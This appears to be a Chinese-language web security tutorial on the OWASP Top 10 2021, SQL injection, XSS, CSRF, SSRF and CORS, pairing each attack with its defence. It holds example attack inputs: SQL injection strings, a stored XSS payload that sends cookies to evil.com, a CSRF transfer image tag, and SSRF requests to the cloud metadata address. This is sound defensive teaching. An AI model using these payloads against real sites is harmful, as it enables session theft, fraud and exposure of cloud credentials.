Security(04):Web 安全——OWASP Top 10、SQL 注入、XSS、CSRF、SSRF
更新时间:2026-09-02。本文是
security/Security 领域第 04 篇,接 网络安全。Web 安全是应用层攻击,SQL 注入、XSS、CSRF 是最常见的。OWASP Top 10 总结最危险的 Web 漏洞,理解这些漏洞就能防住大部分攻击。
本文要回答的问题
- OWASP Top 10 2021 有哪些?和 2017 什么变化?
- SQL 注入的原理?怎么防?
- XSS 三种类型(反射型/存储型/DOM 型)怎么防?
- CSRF 用 Token 和 SameSite 怎么防?
- SSRF 和 CORS 分别是什么?怎么配置?
一、OWASP Top 10 2021
OWASP 每 3-4 年更新一次 Top 10 Web 漏洞
2021 年 Top 10:
1. 访问控制失效(Broken Access Control)↑ 第5→第1
权限检查不严,用户可以越权
2. 加密失效(Cryptographic Failures)merge 敏感数据泄露
密码明文存储、弱加密
3. 注入(Injection)↓ 第1→第3
SQL 注入、NoSQL 注入、命令注入
4. 不安全设计(Insecure Design)↑ 新增
设计阶段安全考虑不足
5. 安全配置错误(Security Misconfiguration)保持
默认密码、敏感信息泄露
6. 易受攻击和过时的组件(Vulnerable Components)保持
第三方库漏洞、版本过时
7. 身份认证和会话管理失败(Ident and Auth Failures)合并
弱密码、会话固定攻击
8. 软件和数据完整性问题(Software and Data Integrity)新增
供应链攻击、CI/CD 漏洞
9. 安全日志和监控不足(Security Logging)↓ 第10→第9
无法检测攻击
10. SSRF 服务端请求伪造(Server-Side Request Forgery)↑ 新增
服务器发请求到内网
重点:SQL 注入从第1降到第3,但不是不重要
SSRF 新进 Top 10,因为云原生架构容易中招二、SQL 注入
SQL 注入:把 SQL 代码拼接到输入中,改变 SQL 语义
示例:
// 不安全的写法
query = "SELECT * FROM users WHERE name = '" + username + "' AND password = '" + password + "'"
// 输入:username = "admin' --"
// 最终 SQL:SELECT * FROM users WHERE name = 'admin' --' AND password = 'xxx'
// -- 注释掉了密码验证,直接登录成功
// 输入:username = "admin' OR 1=1 --"
// 最终 SQL:SELECT * FROM users WHERE name = 'admin' OR 1=1 --' AND password = 'xxx'
// OR 1=1 永远为真,返回所有用户防护:使用参数化查询
// 安全的写法(Java JDBC)
PreparedStatement ps = conn.prepareStatement(
"SELECT * FROM users WHERE name = ? AND password = ?"
);
ps.setString(1, username);
ps.setString(2, password);
// 参数化:数据库引擎把 name 和 password 当作值,不是 SQL 代码
// 其他语言:
// Node.js:使用参数化查询
// Python:cursor.execute("SELECT * FROM users WHERE name = %s", (username,))
// Go:db.Query("SELECT * FROM users WHERE name = $1", username)原则: 永远不要拼接 SQL 字符串,永远用参数化查询。
三、XSS——跨站脚本攻击
XSS 是攻击者在页面中注入恶意 JavaScript 脚本,窃取用户信息。
1. 反射型 XSS
攻击者把恶意脚本放在 URL 参数中,URL 在浏览器端执行,攻击者可以窃取 Cookie、Token
示例:
URL:https://example.com/search?q=<script>alert('XSS')</script>
服务器直接返回:<div>你搜索了:<script>alert('XSS')</script></div>
防护:输出编码
HTML 编码:< → <,> → >
JavaScript 编码:' → \x27," → \x222. 存储型 XSS
恶意脚本存储在服务器,每次访问都执行,危害更大
示例:
评论框输入:<script>fetch('https://evil.com/steal?cookie=' + document.cookie)</script>
服务器存到数据库
其他用户看评论时,脚本执行,窃取 Cookie
防护:
1. 输入过滤:过滤 HTML 标签
2. 输出编码:显示时编码
3. CSP(Content Security Policy):限制脚本来源3. DOM 型 XSS
页面前端 JavaScript 动态处理用户输入,将恶意脚本插入到 DOM 中
示例:
document.getElementById('output').innerHTML = userInput;
防护:
用 innerText 代替 innerHTML
用 textContent 代替 innerHTMLXSS 防护总结:
1. 所有用户输入在输出时编码
2. 设置 Content-Security-Policy HTTP 头
3. Cookie 设置 HttpOnly,防止 JS 读取
4. 输入过滤,但不要只靠输入过滤四、CSRF——跨站请求伪造
CSRF:攻击者诱导用户点击一个链接,该链接执行了用户本不想做的操作
示例:
用户登录了 A 银行
收到邮件,内含 <img src="https://bank.com/transfer?to=attacker&amount=1000" />
浏览器自动加载图片,带 Cookie 请求转账
银行服务器验证 Cookie 是有效用户 → 转账成功防护:
1. CSRF Token
服务器生成随机 Token,放在表单中
提交时验证 Token
攻击者拿不到 Token,无法伪造请求
2. SameSite Cookie
Set-Cookie: session=xxx; SameSite=Strict
Strict:只允许同站请求携带 Cookie
Lax:同站 + 部分跨站(GET 链接)允许
None:全部允许(不安全)
推荐:SameSite=Lax 或 Strict + CSRF Token五、SSRF——服务端请求伪造
SSRF:攻击者让服务器发请求到攻击者指定的地址,通常是内网
示例:
应用提供图片预览功能,用户输入图片 URL,服务器请求该 URL
输入:http://169.254.169.254/latest/meta-data/
(云服务器元数据地址,返回云服务密钥)
或者:
输入:http://192.168.1.1/admin
(内网路由器管理页面,可能有弱口令)
防护:
1. 白名单 IP 列表,只允许请求特定域名
2. 禁止访问内网 IP 段(127.0.0.0/8, 10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)
3. 禁用 URL 重定向(防止绕过白名单)
4. 限制请求协议(不要允许 file://)六、CORS——跨域资源共享
CORS 不是漏洞,是浏览器的安全机制
同源策略:不同源(协议、域名、端口不同)的页面不能互相访问
CORS 是服务器告诉浏览器允许哪些跨域请求
配置:
Access-Control-Allow-Origin: https://example.com
Access-Control-Allow-Methods: GET, POST
Access-Control-Allow-Headers: Authorization
Access-Control-Allow-Credentials: true
问题:
Access-Control-Allow-Origin: * → 允许所有,不安全
Access-Control-Allow-Origin: null → 兼容性不好
正确做法:
明确指定允许的 Origin,不要用通配符
需要 Cookie 时不能使用 Origin: *七、常见坑对照
| 错误 | 攻击 | 对策 |
|---|---|---|
| SQL 拼接字符串 | SQL 注入 | 参数化查询 |
| 输出不编码 | XSS | 输出编码 + CSP |
| 没有 CSRF Token | CSRF | Token + SameSite Cookie |
| 服务器请求用户输入 URL | SSRF | 白名单 + 禁止内网 |
| 调试接口暴露到公网 | 数据泄露 | 生产环境关闭调试接口 |
| 弱密码 | 撞库 | 密码复杂度 + 多因素认证 |
| 无鉴权接口 | 越权 | 检查所有接口的鉴权 |
相关与延伸
下一篇:零信任——架构、IAM、微隔离、持续验证、零信任网络;网络安全,见 网络安全——TLS/HTTPS 原理。
一句话总结
Web 安全:OWASP Top 10 2021 中访问控制失效排第1,SQL 注入降至第3但依然危险;SQL 注入用参数化查询防,永远不要拼接 SQL 字符串;XSS 三种类型(反射/存储/DOM),用输出编码 + CSP + HttpOnly Cookie 防;CSRF 用 CSRF Token + SameSite Cookie 防;SSRF 用内网 IP 白名单 + 禁止重定向防;CORS 明确指定 Origin 白名单,不要用通配符 *。